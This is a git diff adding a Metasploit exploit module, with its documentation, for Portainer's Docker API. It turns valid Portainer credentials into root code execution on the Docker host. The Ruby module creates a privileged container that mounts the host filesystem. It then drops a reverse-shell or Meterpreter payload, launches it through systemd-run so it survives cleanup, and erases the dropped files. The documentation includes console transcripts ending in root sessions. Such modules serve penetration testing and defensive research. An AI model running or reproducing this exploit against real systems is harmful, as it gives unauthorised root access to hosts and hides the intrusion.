diff --git a/documentation/modules/exploit/linux/http/portainer_authenticated_docker_rce.md b/documentation/modules/exploit/linux/http/portainer_authenticated_docker_rce.md new file mode 100644 index 0000000000000..96dd57e5f4f9c --- /dev/null +++ b/documentation/modules/exploit/linux/http/portainer_authenticated_docker_rce.md @@ -0,0 +1,242 @@ +## Vulnerable Application + +[Portainer](https://www.portainer.io/) is a web UI for managing Docker and Kubernetes +environments. It proxies the full Docker Engine API to authenticated users who have access +to a managed Docker environment. + +Because the Docker daemon normally runs as **root** on the host, any authenticated Portainer +user who can reach a Docker environment can create a **privileged container that bind-mounts +the host root filesystem** (`/:/host`) and `chroot` into it. This yields code execution as +**root on the Docker host itself**, not merely inside a container - Docker API access is host +root by definition. + +This module authenticates to Portainer (`POST /api/auth`) to obtain a JWT, selects a managed +Docker environment, ensures a small Linux image is present (pulling one if required), then +creates and starts a privileged container whose command drops a native Metasploit payload onto +the host through the `/host` bind mount and executes it under `chroot /host`. The payload is +launched through the host's own init (systemd) so it is decoupled from the throwaway container +and survives its removal; the container is stopped and force-removed afterwards to avoid +leaving artifacts. + +This is an **abuse of intended functionality** (the design consequence of exposing the Docker +API) combined with the common misconfiguration of a network-reachable Portainer instance +protected only by weak or shared credentials. It is **not a patched CVE**; there is nothing to +"fix" in Portainer beyond restricting who is allowed to drive the Docker API. The technique was +published by Aman Singh Gill (Gill-Singh-A): + +* Proof of concept: +* Write-up: + +### Prerequisites + +* The Portainer web UI must be reachable. Modern builds default to `9443/tcp` (HTTPS); older + builds and many deployments also expose `9000/tcp` (HTTP). The module defaults to `RPORT + 9443` with `SSL true`; set `RPORT 9000` and `SSL false` for a plain-HTTP instance. +* Valid Portainer credentials (`USERNAME`/`PASSWORD`). This module is strictly + post-authentication - it does not brute force. +* At least one managed **Docker** environment (endpoint) where the Docker daemon runs as root + (the norm). Kubernetes-only environments are not targeted. +* The container image used to stage the payload must provide `chroot` and `/bin/sh` - the + default `alpine:latest` does. The host is expected to run systemd (essentially all modern + distributions do); non-systemd hosts still get a session via a fallback, but such a session + is tied to the container's lifetime. + +### Tested against + +This module has been tested successfully against the following combinations: + +* Portainer `2.39.5` (HTTPS/9443) on Fedora 44 (kernel 7.1, SELinux enforcing, permissive, and + disabled) +* Portainer `2.16.2` (HTTP/9000) on CentOS 7.9.2009 (kernel 3.10) +* Portainer `2.0.1` (HTTP/9999) on Ubuntu 18.04.4 (kernel 4.15, AppArmor) + +Both native Linux Meterpreter (x64/x86) and `cmd/unix` command targets were verified as +**host root** in every case. + +### Setup + +A vulnerable lab is a stock Portainer install pointed at the host's own Docker socket: + +``` +docker volume create portainer_data +docker run -d --name portainer --restart=always \ + -p 9443:9443 -p 9000:9000 \ + -v /var/run/docker.sock:/var/run/docker.sock \ + -v portainer_data:/data \ + portainer/portainer-ce:lts +``` + +Then: + +1. Browse to `https://:9443/` (or `http://:9000/`) within a few minutes of first + start and create the initial **admin** account, choosing a password. +2. Because the Docker socket was bind-mounted, Portainer automatically manages the host's + `local` Docker environment, whose daemon runs as root - satisfying every prerequisite. +3. (Optional) Pre-seed the payload image to avoid a pull at exploit time: + `docker pull alpine:latest`. + +## Verification Steps + +1. Deploy Portainer as shown in **Setup** and create the admin account. +2. Start `msfconsole`. +3. Do: `use exploit/linux/http/portainer_authenticated_docker_rce` +4. Do: `set RHOSTS ` +5. Do: `set USERNAME ` +6. Do: `set PASSWORD ` +7. Do: `set LHOST ` (and, for a plain-HTTP instance, `set RPORT 9000` and + `set SSL false`) +8. Do: `check` - it should report the Portainer version and that the credentials are valid. +9. Do: `run` +10. You should receive a Meterpreter session running as **root** on the Docker host, and the + temporary container should be removed automatically. + +## Options + +### USERNAME + +The Portainer username to authenticate with. Required. + +### PASSWORD + +The password for `USERNAME`. Required. + +### ENDPOINT_ID + +The integer id of the Portainer environment (endpoint) to target. If left unset, the module +auto-selects the first managed Docker environment returned by `GET /api/endpoints`. Set this +when several environments exist and you want a specific one. + +### CONTAINER_IMAGE + +The Docker image the payload is staged in. It only needs to provide `chroot` and `/bin/sh`. +(Default: `alpine:latest`). If the image is not already present on the target it is pulled +from the configured registry; prefer an image that already exists locally to avoid registry +egress. + +### CLEANUP_IMAGE + +If `true`, the container image is removed during cleanup, **but only if this module pulled +it**. An image that was already present before the run is never removed. (Default: `false`) + +## Targets + +### Linux Dropper (Meterpreter) + +The default target. A native Linux Meterpreter ELF (`ARCH_X64` or `ARCH_X86`) is dropped onto +the host via the `/host` bind mount and executed as host root under `chroot /host`. Use with a +`linux/x64/...` or `linux/x86/...` payload (default `linux/x64/meterpreter/reverse_tcp`). + +### Unix Command + +A secondary command target. A `cmd/unix/*` payload (default `cmd/unix/reverse_bash`) is run +under `chroot /host`. Useful when a lightweight reverse shell is preferable to a native +session. + +## Scenarios + +### Portainer 2.39.5 on Fedora 44 (native Meterpreter) + +The payload image is already present, so no pull is needed. + +``` +msf6 > use exploit/linux/http/portainer_authenticated_docker_rce +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set RHOSTS 192.168.100.10 +RHOSTS => 192.168.100.10 +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set USERNAME admin +USERNAME => admin +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set PASSWORD adf691b5d2ccae1e5156305bf87cb25a +PASSWORD => adf691b5d2ccae1e5156305bf87cb25a +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set LHOST 192.168.100.5 +LHOST => 192.168.100.5 +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > check +[+] 192.168.100.10:9443 - The target appears to be vulnerable. Portainer 2.39.5; credentials are valid and a Docker environment is reachable +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > run + +[*] Started reverse TCP handler on 192.168.100.5:4444 +[+] Authenticated to Portainer, received a JWT +[*] Selected Docker environment 'local' (id 3) +[*] Delivering native payload (ELF dropper) to the host +[*] Created container 88f2e8a73fca, starting it to launch the payload on the host +[*] Sending stage (3090404 bytes) to 192.168.100.10 +[*] Meterpreter session 1 opened (192.168.100.5:4444 -> 192.168.100.10:51276) at 2026-08-03 20:32:52 +0530 +[+] Removed container 88f2e8a73fca + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : fedora +OS : Fedora 44 (Linux 7.1.5-200.fc44.x86_64) +Architecture : x64 +Meterpreter : x64/linux +meterpreter > shell +Process 1 created. +Channel 1 created. +id +uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0 +cat /proc/1/comm +systemd +ps -o pid,comm -p 1 + PID COMMAND + 1 systemd +``` + +`PID 1` on the host is the host's own `systemd`, confirming the session is on the Docker host +and not inside the (already removed) container. + +### Portainer 2.16.2 on CentOS 7.9 (auto image pull + CLEANUP_IMAGE) + +Here `alpine:latest` is not present, so the module pulls it, and `CLEANUP_IMAGE true` removes +that pulled image during cleanup. + +``` +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set RHOSTS 203.0.113.10 +RHOSTS => 203.0.113.10 +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set RPORT 9000 +RPORT => 9000 +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set SSL false +SSL => false +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set USERNAME admin +USERNAME => admin +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set PASSWORD adf691b5d2ccae1e5156305bf87cb25a +PASSWORD => adf691b5d2ccae1e5156305bf87cb25a +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set CLEANUP_IMAGE true +CLEANUP_IMAGE => true +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > set LHOST 192.0.2.5 +LHOST => 192.0.2.5 +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > check +[+] 203.0.113.10:9000 - The target appears to be vulnerable. Portainer 2.16.2; credentials are valid and a Docker environment is reachable +msf6 exploit(linux/http/portainer_authenticated_docker_rce) > run + +[*] Started reverse TCP handler on 192.0.2.5:4444 +[+] Authenticated to Portainer, received a JWT +[*] Selected Docker environment 'local' (id 2) +[*] Image 'alpine:latest' not present, attempting to pull it (this may take a while) +[*] Delivering native payload (ELF dropper) to the host +[*] Created container 010bd1084b98, starting it to launch the payload on the host +[*] Sending stage (3090404 bytes) to 203.0.113.10 +[*] Meterpreter session 1 opened (192.0.2.5:4444 -> 203.0.113.10:34962) at 2026-08-03 18:29:33 +0530 +[+] Removed container 010bd1084b98 +[+] Removed image 'alpine:latest' (pulled by this module) + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : centos-docker-host +OS : CentOS 7.9.2009 (Linux 3.10.0-1160.88.1.el7.centos.plus.x86_64) +Architecture : x64 +Meterpreter : x64/linux +``` + +## Limitations + +* Requires valid Portainer credentials and a managed Docker environment whose daemon runs as + root (the default). It does not work against Kubernetes-only environments. +* Delivering a native Meterpreter session assumes the host can execute the dropped ELF. On + hosts that run systemd (essentially all mainstream distributions) the session is decoupled + from the throwaway container and survives its removal. On non-systemd hosts the payload is + launched with `setsid` as a best-effort fallback and may be terminated when the container is + removed; use the **Unix Command** target there. +* The module drops an ELF to disk (briefly) and creates a container, so it generates + `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, and `CONFIG_CHANGES`. The container is always removed; + the pulled image is removed only when `CLEANUP_IMAGE` is set and the module pulled it. diff --git a/modules/exploits/linux/http/portainer_authenticated_docker_rce.rb b/modules/exploits/linux/http/portainer_authenticated_docker_rce.rb new file mode 100644 index 0000000000000..90ca778976be4 --- /dev/null +++ b/modules/exploits/linux/http/portainer_authenticated_docker_rce.rb @@ -0,0 +1,451 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Portainer Authenticated Docker API Remote Root', + 'Description' => %q{ + Portainer is a web UI for managing Docker and Kubernetes environments. Any + authenticated Portainer user who has access to a managed Docker environment can + drive the full Docker Engine API through Portainer's proxy. Because the Docker + daemon normally runs as root on the host, an attacker can create a privileged + container that bind-mounts the host root filesystem ("/:/host") and chroot into + it, which yields code execution as root on the Docker host itself - not merely + inside a container. + + This module authenticates to Portainer (POST /api/auth) to obtain a JWT, selects + a managed Docker environment, ensures a small Linux image is present (pulling one + if required), then creates and starts a privileged container whose command drops + and executes a Metasploit payload on the host via the "/host" bind mount and + "chroot /host". The payload is launched through the host's own init (systemd) so it + is decoupled from the throwaway container and survives its removal, and the + container is then stopped and force-removed afterwards to avoid leaving artifacts. + + This is an abuse of intended functionality (a design consequence of exposing the + Docker API) combined with the common misconfiguration of an internet or + network-reachable Portainer instance protected only by weak or shared + credentials. It is not a patched CVE. Valid credentials and a root-running Docker + daemon are required. + }, + 'Author' => [ + 'Aman Singh Gill (Gill-Singh-A)' # Original research, write-up and proof of concept + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'https://github.com/Gill-Singh-A/Portainer-Remote-Root-Shell-Exploit'], + ['URL', 'https://gill-singh-a.github.io/p/getting-remote-root-shell-on-devices-via-portainer/'], + ['URL', 'https://docs.docker.com/engine/security/#docker-daemon-attack-surface'] + ], + 'DisclosureDate' => '2026-08-03', + 'Privileged' => true, + 'Targets' => [ + [ + 'Linux Dropper (Meterpreter)', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X64, ARCH_X86], + 'Type' => :linux_dropper, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + } + ], + [ + 'Unix Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'SSL' => true }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES] + } + ) + ) + + register_options( + [ + Opt::RPORT(9443), + OptString.new('TARGETURI', [true, 'The base path to the Portainer web UI', '/']), + OptString.new('USERNAME', [true, 'The Portainer username to authenticate with']), + OptString.new('PASSWORD', [true, 'The Portainer password to authenticate with']), + OptInt.new('ENDPOINT_ID', [false, 'The Portainer environment (endpoint) id to target; auto-detected if unset']), + OptString.new('CONTAINER_IMAGE', [true, 'The Docker image to run the payload in (must provide chroot and /bin/sh)', 'alpine:latest']), + OptBool.new('CLEANUP_IMAGE', [true, 'On cleanup, remove the container image, but only if this module pulled it (never removes a pre-existing image)', false]) + ] + ) + end + + # Portainer EndpointType values that represent Docker (as opposed to Kubernetes/Azure) + # 1 = Docker (local), 2 = Agent on Docker, 4 = Edge agent on Docker + DOCKER_ENDPOINT_TYPES = [1, 2, 4].freeze + + # + # Authenticate to Portainer and return a JWT, or nil on failure. + # + def portainer_login + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'auth'), + 'ctype' => 'application/json', + 'data' => { 'Username' => datastore['USERNAME'], 'Password' => datastore['PASSWORD'] }.to_json + ) + return nil unless res&.code == 200 + + json = res.get_json_document + return nil if json.blank? + + json.fetch('jwt',nil) + end + + # + # Return the unauthenticated Portainer status document ({ 'Version' => ... }) or nil. + # + def portainer_status + # Modern Portainer (2.x) exposes /api/system/status; older builds use /api/status. + %w[system/status status].each do |path| + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', path) + ) + next unless res&.code == 200 + + json = res.get_json_document + return json unless json.blank? + end + nil + end + + # + # Perform an authenticated request against the Portainer API. + # + def portainer_request(method, uri_parts, opts = {}) + request = { + 'method' => method, + 'uri' => normalize_uri(target_uri.path, 'api', *uri_parts), + # Docker's action endpoints answer with '204 No Content'; without an explicit + # 'Connection: close' the keep-alive HTTP client blocks waiting for a body that + # never arrives and the request times out to nil, so force the connection closed. + 'headers' => { 'Authorization' => "Bearer #{@jwt}", 'Connection' => 'close' } + } + if opts[:data] + request['ctype'] = 'application/json' + request['data'] = opts[:data] + end + request['vars_get'] = opts[:vars_get] if opts[:vars_get] + send_request_cgi(request, opts[:timeout] || 20) + end + + # + # Select a usable Docker environment id. Honours ENDPOINT_ID when set, + # otherwise returns the first Docker-type environment. + # + def select_endpoint_id + res = portainer_request('GET', ['endpoints']) + fail_with(Failure::NotFound, 'Failed to enumerate Portainer environments (endpoints)') unless res&.code == 200 + + endpoints = res.get_json_document + fail_with(Failure::NotFound, 'No Portainer environments (endpoints) are available to this user') if endpoints.blank? + + if datastore['ENDPOINT_ID'] + wanted = endpoints.find { |e| e['Id'] == datastore['ENDPOINT_ID'] } + fail_with(Failure::BadConfig, "Environment id #{datastore['ENDPOINT_ID']} was not found or is not accessible") unless wanted + return wanted['Id'] + end + + docker = endpoints.find { |e| DOCKER_ENDPOINT_TYPES.include?(e['Type']) } + fail_with(Failure::NotFound, 'No managed Docker environment was found (only Kubernetes/other types are available)') unless docker + + print_status("Selected Docker environment '#{docker['Name']}' (id #{docker['Id']})") + docker['Id'] + end + + # + # True if the requested image already exists on the target environment. + # + def image_present?(endpoint_id, image) + res = portainer_request('GET', ['endpoints', endpoint_id.to_s, 'docker', 'images', 'json']) + return false unless res&.code == 200 + + res.body.to_s.include?(image) + end + + # + # Pull the requested image into the target environment. + # + def pull_image(endpoint_id, image) + print_status("Image '#{image}' not present, attempting to pull it (this may take a while)") + # images/create takes its parameters (fromImage) in the query string, not the body. + res = portainer_request( + 'POST', + ['endpoints', endpoint_id.to_s, 'docker', 'images', 'create'], + vars_get: { 'fromImage' => image }, + timeout: 300 + ) + res&.code == 200 + end + + # + # Ensure the payload container image is available, pulling it if required. + # + def ensure_image(endpoint_id, image) + # Already present: never touch it (it existed before us, so cleanup must leave it alone). + return if image_present?(endpoint_id, image) + + fail_with(Failure::NotFound, "Failed to pull image '#{image}' into the target environment") unless pull_image(endpoint_id, image) + + fail_with(Failure::NotFound, "Image '#{image}' is still not available after pulling") unless image_present?(endpoint_id, image) + + # Only images this module pulled are eligible for removal during cleanup. + @pulled_image = true + end + + # + # Best-effort removal of an image. Never raises. Uses a non-forced delete so an image that + # something else has started using is left in place rather than yanked out from under it. + # + def delete_image(endpoint_id, image) + res = portainer_request('DELETE', ['endpoints', endpoint_id.to_s, 'docker', 'images', image], timeout: 30) + res && [200, 204].include?(res.code) + rescue StandardError => e + vprint_error("Cleanup of image '#{image}' failed: #{e.class} #{e.message}") + false + end + + # + # Create the privileged, host-mounted container that runs the given shell command. + # Returns the new container id. + # + def create_container(endpoint_id, host_cmd) + body = { + 'Image' => datastore['CONTAINER_IMAGE'], + # Bypass any ENTRYPOINT baked into the image and run our script with the image's own + # /bin/sh. Docker passes the array elements straight to execve, so the script (a single + # element) reaches the shell verbatim, with no re-quoting concerns. + 'Entrypoint' => [], + 'Cmd' => ['/bin/sh', '-c', host_cmd], + 'HostConfig' => { + # Bind-mount the whole host filesystem so we can drop the payload onto it and, after + # chroot, run it as host root - Docker root access is host root by definition. + 'Binds' => ['/:/host'], + 'Privileged' => true, + # Share the host PID namespace so the setsid fallback path (non-systemd hosts) is + # reparented to the host's init rather than dying with the container's PID namespace. + 'PidMode' => 'host' + } + } + + res = portainer_request('POST', ['endpoints', endpoint_id.to_s, 'docker', 'containers', 'create'], data: body.to_json) + # Docker returns 201; Portainer's proxy returns 201 on newer builds but 200 on older ones (e.g. 2.16). + fail_with(Failure::PayloadFailed, 'Failed to create the Docker container') unless res && [200, 201].include?(res.code) + + json = res.get_json_document + container_id = json && json['Id'] + fail_with(Failure::PayloadFailed, 'The Docker API did not return a container id') if container_id.blank? + + container_id + end + + # + # Start a previously created container. + # + def start_container(endpoint_id, container_id) + res = portainer_request('POST', ['endpoints', endpoint_id.to_s, 'docker', 'containers', container_id, 'start']) + # 204 = started, 304 = already started + fail_with(Failure::PayloadFailed, 'Failed to start the Docker container') unless res && [204, 304].include?(res.code) + end + + # + # Best-effort stop + force-remove of the container we created. Never raises. + # + def remove_container(endpoint_id, container_id) + portainer_request('POST', ['endpoints', endpoint_id.to_s, 'docker', 'containers', container_id, 'stop'], timeout: 15) + res = portainer_request( + 'DELETE', + ['endpoints', endpoint_id.to_s, 'docker', 'containers', container_id], + vars_get: { 'force' => '1' }, + timeout: 15 + ) + res && [204, 200].include?(res.code) + rescue StandardError => e + vprint_error("Cleanup of container #{container_id} failed: #{e.class} #{e.message}") + false + end + + # + # Build the command run by the throwaway container. It decodes the payload with the image's + # own busybox `base64` (so the host needs no base64) onto the host via the /host bind mount, + # then feeds a host-side launcher to the host's /bin/sh over stdin through chroot. + # + # Feeding the launcher via stdin (rather than `sh -c "..."`) means no host /bin/sh variant + # (dash/bash/busybox) can mis-parse it and we are free to use any quoting inside it. + # + # `mode` is :elf (run the dropped file directly) or :cmd (interpret it with /bin/sh). + # + def build_host_script(data, mode) + payload_b64 = Rex::Text.encode_base64(data).delete("\n") + launcher_b64 = Rex::Text.encode_base64(host_launcher(mode)).delete("\n") + + [ + "echo #{payload_b64} | base64 -d > /host#{@remote_path}", + "echo #{launcher_b64} | base64 -d | chroot /host /bin/sh" + ].join("\n") + end + + # + # The host-side launcher, executed as root under chroot. Written as strict POSIX sh and + # defensive about distro/version differences so it works on old and new hosts alike: + # * exec directory: /tmp may be mounted noexec on hardened hosts, so probe a list of + # directories and copy the payload to the first one we can actually execute from. + # * SELinux: on enforcing hosts (Fedora/RHEL) init_t is denied execute on tmp_t files, so + # relabel to bin_t (best-effort; skipped/no-op where chcon or SELinux is absent). + # * launch: hand off to the host's init via systemd-run so the payload lives in a systemd + # scope decoupled from the container's cgroup and survives container teardown. Fall back + # to plain systemd-run (older systemd without --collect), then to setsid with a + # best-effort move out of the container cgroup for non-systemd hosts. + # + def host_launcher(mode) + drop = @remote_path + test = ".#{Rex::Text.rand_text_alphanumeric(8)}" + run = Rex::Text.rand_text_alphanumeric(8..12) + unit1 = Rex::Text.rand_text_alphanumeric(12) + unit2 = Rex::Text.rand_text_alphanumeric(12) + exec = mode == :cmd ? '/bin/sh "$RUN"' : '"$RUN"' + + [ + "DROP='#{drop}'", + "RUN=''", + 'for D in /tmp /var/tmp /dev/shm /run /root /opt /usr/local/bin /; do ' \ + '[ -d "$D" ] || continue; ' \ + "T=\"$D/#{test}\"; " \ + "printf '#!/bin/sh\\nexit 0\\n' > \"$T\" 2>/dev/null || continue; " \ + 'chmod +x "$T" 2>/dev/null; ' \ + "if \"$T\" 2>/dev/null; then RUN=\"$D/#{run}\"; rm -f \"$T\" 2>/dev/null; break; fi; " \ + 'rm -f "$T" 2>/dev/null; done', + "[ -n \"$RUN\" ] || RUN=\"/tmp/#{run}\"", + 'cp "$DROP" "$RUN" 2>/dev/null || cat "$DROP" > "$RUN" 2>/dev/null', + 'chmod +x "$RUN" 2>/dev/null', + 'command -v chcon >/dev/null 2>&1 && chcon -t bin_t "$RUN" 2>/dev/null', + 'RS=""', + 'if command -v systemd-run >/dev/null 2>&1; then ' \ + "systemd-run --collect --unit=#{unit1} #{exec} >/dev/null 2>&1 || " \ + "systemd-run --unit=#{unit2} #{exec} >/dev/null 2>&1 || RS=1; else RS=1; fi", + "if [ -n \"$RS\" ]; then setsid #{exec} /dev/null 2>&1 & CPID=$!; " \ + 'echo $CPID > /sys/fs/cgroup/cgroup.procs 2>/dev/null || ' \ + 'echo $CPID > /sys/fs/cgroup/systemd/cgroup.procs 2>/dev/null || true; fi', + # Give the host time to exec the payload (mapping it into memory) before wiping copies. + 'sleep 3', + 'rm -f "$RUN" "$DROP" 2>/dev/null' + ].join("\n") + end + + # + # Drop and launch the payload on the host inside a throwaway privileged container, + # then register the container for cleanup. + # + def deploy_payload(data, mode) + host_script = build_host_script(data, mode) + container_id = create_container(@endpoint_id, host_script) + @container_ids << container_id + print_status("Created container #{container_id[0, 12]}, starting it to launch the payload on the host") + start_container(@endpoint_id, container_id) + # Give the host init time to take ownership of the payload process (and the container + # time to wipe the on-disk artifact) before it is torn down during cleanup. + Rex.sleep(6) + end + + def check + status = portainer_status + return CheckCode::Safe('Target does not look like a Portainer instance') if status.nil? + + version = status['Version'].presence || 'of an unknown version' + + # Validate the supplied credentials as part of the check so operators know up front + # whether the account can drive the Docker API (the actual prerequisite for exploitation). + @jwt = portainer_login + if @jwt.blank? + return CheckCode::Detected("Portainer #{version} is running, but the supplied credentials were rejected") + end + + # With valid credentials, confirm at least one managed Docker environment is reachable. + res = portainer_request('GET', ['endpoints']) + endpoints = res && res.code == 200 ? res.get_json_document : nil + unless endpoints.is_a?(Array) && endpoints.any? { |e| DOCKER_ENDPOINT_TYPES.include?(e['Type']) } + return CheckCode::Detected("Portainer #{version}; credentials are valid but no Docker environment is available to this user") + end + + CheckCode::Appears("Portainer #{version}; credentials are valid and a Docker environment is reachable") + end + + def exploit + @container_ids = [] + @pulled_image = false + + @jwt = portainer_login + fail_with(Failure::NoAccess, 'Authentication to Portainer failed - check USERNAME/PASSWORD') if @jwt.blank? + print_good('Authenticated to Portainer, received a JWT') + + @endpoint_id = select_endpoint_id + ensure_image(@endpoint_id, datastore['CONTAINER_IMAGE']) + + @remote_path = "/tmp/#{Rex::Text.rand_text_alphanumeric(8..12)}" + + case target['Type'] + when :linux_dropper + # Drop the framework-generated ELF onto the host mount and execute it directly. + print_status('Delivering native payload (ELF dropper) to the host') + deploy_payload(generate_payload_exe, :elf) + when :unix_cmd + # Drop the command payload as a script and run it with the host's /bin/sh. + print_status('Delivering Unix command payload to the host') + deploy_payload(payload.encoded, :cmd) + end + + print_status('Payload launched on the host; waiting for a session') + end + + # + # Called by the framework after the exploit run; tear down every container we created. + # + def cleanup + return if @endpoint_id.nil? || @jwt.nil? + + Array(@container_ids).each do |container_id| + if remove_container(@endpoint_id, container_id) + print_good("Removed container #{container_id[0, 12]}") + else + print_warning("Could not fully remove container #{container_id[0, 12]}; manual cleanup may be required") + end + end + @container_ids = [] + + # Only remove the image when explicitly requested AND this module is the one that pulled it; + # an image that was already present before we ran is never touched. + return unless datastore['CLEANUP_IMAGE'] && @pulled_image + + image = datastore['CONTAINER_IMAGE'] + if delete_image(@endpoint_id, image) + print_good("Removed image '#{image}' (pulled by this module)") + else + print_warning("Could not remove image '#{image}'; manual cleanup may be required") + end + @pulled_image = false + ensure + super + end +end